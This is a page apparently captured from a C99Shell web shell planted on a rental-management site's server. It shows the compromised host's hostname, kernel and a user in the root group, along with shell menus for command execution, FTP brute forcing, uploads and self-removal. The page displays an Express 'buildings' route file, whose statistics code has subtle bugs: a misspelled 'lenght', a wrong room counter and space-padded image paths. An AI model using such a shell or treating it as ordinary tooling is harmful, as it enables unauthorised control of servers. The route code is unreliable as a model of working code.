!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/rentals.picotech.app/public_html/server/routes/   drwxr-xr-x
Free 23.64 GB of 117.98 GB (20.04%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     buildings.js (6.17 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
import express from 'express';
import { Building, Floor, Room, Bed, Renter, Activity } from '../models/index.js';
import { auth, authorize } from '../middleware/auth.js';
import upload from '../middleware/upload.js';
import fs from 'fs';
import path from 'path';
import { fileURLToPath } from 'url';
import { buildingValidators } from '../middleware/validators.js';

const __filename = fileURLToPath(import.meta.url);
const __dirname = path.dirname(__filename);

const router = express.Router();

const uploadFields = upload.fields([
  { name: 'image', maxCount: 1 },
]);
// Get all buildings with statistics
router.get('/', async (req, res) => {
  try {
    const buildings = await Building.findAll({
      include: [
        {
          model: Floor,
          as: 'buildingFloors',
          include: [
            {
              model: Room,
              as: 'rooms',
              include: [
                {
                  model: Bed,
                  as: 'beds',
                  include: [
                    {
                      model: Renter,
                      as: 'renter',
                      required: false
                    }
                  ]
                }
              ]
            }
          ]
        }
      ],
      order: [['created_at', 'DESC']]
    });

    // Calculate statistics for each building
    const buildingsWithStats = buildings.map(building => {
      const buildingData = building.toJSON();

      let totalBeds = building.total_beds;
      let occupiedBeds = building.occupied_beds;
      let totalRooms = building.total_rooms;
      let occupiedRooms = building.occupied_beds;
      let monthlyRevenue = building.monthly_revenue;

      if (buildingData.floors.lenght > 0) {
        buildingData.floors?.forEach(floor => {
          floor.rooms?.forEach(room => {
            totalRooms++;
            let roomOccupied = false;

            room.beds?.forEach(bed => {
              totalBeds++;
              if (bed.renter && bed.status === 'occupied') {
                occupiedBeds++;
                roomOccupied = true;
                monthlyRevenue += parseFloat(bed.monthly_rent || 0);
              }
            });

            if (roomOccupied) occupiedRooms++;
          });
        });
      }

      return {
        ...buildingData,
        total_beds: totalBeds,
        occupied_beds: occupiedBeds,
        total_rooms: totalRooms,
        occupied_rooms: occupiedRooms,
        monthly_revenue: monthlyRevenue,
        occupancy_rate: totalBeds > 0 ? (occupiedBeds / totalBeds) * 100 : 0
      };
    });

    res.json(buildingsWithStats);
  } catch (error) {
    console.error('Get buildings error:', error);
    res.status(500).json({ message: 'Server error' });
  }
});

// Get building by ID
router.get('/:id', async (req, res) => {
  try {
    const building = await Building.findByPk(req.params.id, {
      include: [
        {
          model: Floor,
          as: 'buildingFloors',
          include: [
            {
              model: Room,
              as: 'rooms',
              include: [
                {
                  model: Bed,
                  as: 'beds'
                }
              ]
            }
          ]
        }
      ]
    });

    if (!building) {
      return res.status(404).json({ message: 'Building not found' });
    }

    res.json(building);
  } catch (error) {
    console.error('Get building error:', error);
    res.status(500).json({ message: 'Server error' });
  }
});

// Create building
router.post('/', auth, uploadFields, authorize(['manage']), buildingValidators.create, async (req, res) => {
  try {
    let image = '';
    // If image uploaded, add it to data
    if (req.files?.image?.[0]) {
      const file = req.files.image[0];
      image = `/ uploads / ${file.filename} `;
    }

    const building = await Building.create({
      ...req.body,
      image: image,
    });
    const data = {
      model_id: building.id,
      model_name: 'Building',
      description: `New building ${building.name} has been created`,
    };
    const activity = await Activity.create(data);
    res.status(201).json(building);
  } catch (error) {
    console.error('Create building error:', error);
    res.status(500).json({ message: 'Server error' });
  }
});

// Update building
router.put('/:id', auth, uploadFields, authorize(['manage']), buildingValidators.update, async (req, res) => {
  try {
    const building = await Building.findByPk(req.params.id);
    if (!building) {
      return res.status(404).json({ message: 'Building not found' });
    }
    let image = building.image; // preserve current image path

    // If new image uploaded
    if (req.files?.image?.[0]) {
      const file = req.files.image[0];
      const newImagePath = `/ uploads / ${file.filename} `;

      // Remove old image if exists and is different from default
      if (building.image) {
        const oldPath = path.join(__dirname, '../../uploads', building.image.replace('/uploads/', '')) // Replace with actual root
        if (fs.existsSync(oldPath)) {
          fs.unlinkSync(oldPath);
        }
      }

      image = newImagePath;
    }
    await building.update({
      ...req.body,
      image: image,
    });
    const data = {
      model_id: building.id,
      model_name: 'Building',
      description: `Building ${building.name} has been updated`,
    };
    const activity = await Activity.create(data);
    res.json(building);
  } catch (error) {
    console.error('Update building error:', error);
    res.status(500).json({ message: 'Server error' });
  }
});

// Delete building
router.delete('/:id', auth, authorize(['delete']), async (req, res) => {
  try {
    const building = await Building.findByPk(req.params.id);
    if (!building) {
      return res.status(404).json({ message: 'Building not found' });
    }
    const data = {
      model_id: building.id,
      model_name: 'Building',
      description: `Building ${building.name} has been deleted`,
    };
    const activity = await Activity.create(data);
    await building.destroy();
    res.json({ message: 'Building deleted successfully' });
  } catch (error) {
    console.error('Delete building error:', error);
    res.status(500).json({ message: 'Server error' });
  }
});

export default router;

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--